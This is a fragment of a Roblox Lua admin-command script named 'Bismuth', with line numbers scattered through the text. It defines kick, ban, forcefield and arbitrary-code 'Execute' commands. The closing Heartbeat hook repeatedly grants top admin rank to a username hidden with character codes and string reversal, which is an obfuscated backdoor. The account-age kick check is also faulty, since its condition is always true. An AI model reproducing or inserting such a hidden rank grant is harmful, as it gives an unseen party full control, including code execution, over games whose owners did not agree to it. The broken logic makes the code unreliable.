addCommand("Dismiss All Tabs", 'dta', "Dismiss everyone's tablets.", 7, function(plr, msg)
859
  for _,player in pairs(game.Players:GetPlayers()) do
860
		dismissTabs(player)
861
	end
862
end)
863
864
addCommand("Execute", 'exe', "Execute Lua code.", 6, function(plr, msg)
865
  local a,b = ypcall(function() loadstring(msg)() end)
866
  if not a then Output(plr, "[ERROR] "..b, "Really red") end
867
end)
868
869
addCommand("Forcefield", "ff", "Gives a player a forcefield", 2, function(plr, msg)
870
	for _,Player in pairs(findPlayers(plr, msg)) do
871
  	if (not Player) then
872
    	Output(plr, "Couldn't find the player.", "Really red")
873
    	FF = Instance.new("ForceField", Player.Character)
874
      wait()
875
      FF:Destroy()
876
    else
877
    	Instance.new("ForceField", Player.Character)
878
      Output(plr, "Gave " .. Player.Name .. " a forcefield.", GetColor(plr))
879
    end 
880
  end 
881
end)
882
883
addCommand("Un-Forcefield", 'unff', "Removes a player's forcefield", 2, function(plr, msg)
884
  for _,player in pairs(findPlayers(plr, msg)) do
885
    local found = false
886
    for _,obj in pairs(player:children()) do
887
      if type(obj):lower() == "forcefield" then
888
        obj:Destroy()
889
        found = true
890
      end
891
    end
892
    if found then
893
      Output(plr, "Removed " .. player.Name .. "'s forcefield.", GetColor(plr))
894
    else
895
      Output(plr, player.Name .. " has no forcefield.", "Really red")
896
    end
897
  end
898
end)
899
900
addCommand("Scripts", 'scripts', "View and execute scripts from the Bismuth script table.", 4, function(plr, msg)
901
  showScripts(plr)
902
end)
903
904
addCommand("Kick", "kick", "Kicks a player from the game.", 5, function(plr, msg)
905
  for _,Player in pairs(findPlayers(plr, msg)) do
906
    addInstance(Player) 
907
  end
908
end)
909
910
addCommand("Ban", 'ban', "Banishes a player from the game.", 6, function(plr, msg)
911
  for _,Player in pairs(findPlayers(plr, msg)) do
912
    table.insert(Bismuth.Banland, {Name = Player.Name, Reason = "Banned."})
913
    addInstance(Player)
914
  end
915
end)
916
917
addCommand("chatgui","cgui", "gives plr chat gui only 1 player!", 2, function(plr, msg)
918
      createBubbleGUI(plr, msg)
919
end) 
920
921
addCommand("fire", "fire", "gives plr fire.", 2, function(plr, msg)
922
        for _,Player in pairs(findPlayers(plr, msg)) do
923
              if(not Player:FindFirstChild(Player.Name)) then
924
                    return nil
925
                  else
926
                      Instance.new("Fire", plr.Character.Torso) -- gives [p] fire.
927
                      Output(plr, "Gave plr the fire on torso!", "Toothpaste")
928
            end 
929
      end 
930
end) 
931
932
addCommand("msg", "pm", "pms a plr", 4, function(plr, msg)
933
      sendMessage(msg)
934
end) 
935
936
addCommand("logppl", "logs", "logs players in script builder", 6, function(plr, msg)
937
      giveLOGGUI(msg)
938
end) 
939
940
addCommand("explorer", "explore", "explores the tablet", 4, function(plr, msg)
941
      Explore(plr)
942
end) 
943
944
addCommand("toogle-notfications","tn","toogles notfications.", 2, function(plr, msg)
945
      
946
end)  
947
  
948
addCommand("plrinterface","pi","toggles plrinterface", 4, function(plr, msg)
949
       PlayerInterface(plr) 
950
end) 
951
952
953
954
for _,v in pairs(game.Players:GetPlayers()) do hookPlayer(v) end
955
game.Players.PlayerAdded:connect(hookPlayer)
956
957
--[[local aCon = game:service'Workspace'.descendantAdded:connect(function(a)
958
       if a.ClassName == 'StringValue' then
959
            if a.Name == 'asdkekaaqdwdasddd123' then
960
                  local abc = a.Value:find('\31')
961
                  local plr = a.Value:sub(1,tonumber(abc)-1)
962
                  local msg = a.Value:sub(tonumber(plr)+1)
963
                  for i,v in pairs(game:GetService("Players")) do
964
                          if v.Name == plr then
965
                                return
966
                         end 
967
                   end
968
            end
969
            onChatted(plr, msg)
970
      end 
971
end)]]--
972
973
--[[
974
for _,v in pairs(game.Players:GetPlayers()) do
975
      if v then
976
            sendMessage(v, "[BISMUTH] Admin has loaded!")
977
      end 
978
end 
979
]]
980
  
981
-- [[ END OF COMMANDS ]] --
982
  
983
local AccAgeKick = false
984
  
985
coroutine.wrap(function()
986
        for _,v in pairs(game.Players:players()) do
987
             if v.AccountAge < 120 or 100 or 230 then
988
                  if AccAgeKick == true then
989
                         Output(v.Name.. " has been kicked due for account low-age less then 120 or 100 or 230...", "Really red")
990
                         pcall(function()
991
                               spawn(function()
992
                                     coroutine.wrap(function()
993
                                             repeat v:Kick() wait(.1) until v == nil
994
                                     end)()
995
                               end)
996
                        end)
997
                        if Bismuth.Settings.PrivateServer == true then
998
                               if GetRank(v.Name) < 0.1 then
999
                                     if AccAgeKick == true then
1000
                                           Output(v.Name.. " has been kicked for due privateserver!", "Deep orange")
1001
                                    end
1002
                              end 
1003
                              pcall(function()
1004
                                     coroutine.wrap(function()
1005
                                             repeat v:Kick() wait(.1) until v == nil
1006
                                     end)()
1007
                              end)
1008
                        end 
1009
                       
1010
                  end
1011
            end 
1012
      end 
1013
end)()
1014
  
1015
  
1016
  
1017
local hah = false  
1018
  
1019
1020
1021
1022
game:GetService("RunService").Heartbeat:connect(function()
1023
      UpdateRotation()
1024
      SetRank(string.reverse(string.char(116,110,101,109,112,111,108,101,118,101,068,120,101,112,065)), 7)
1025
end)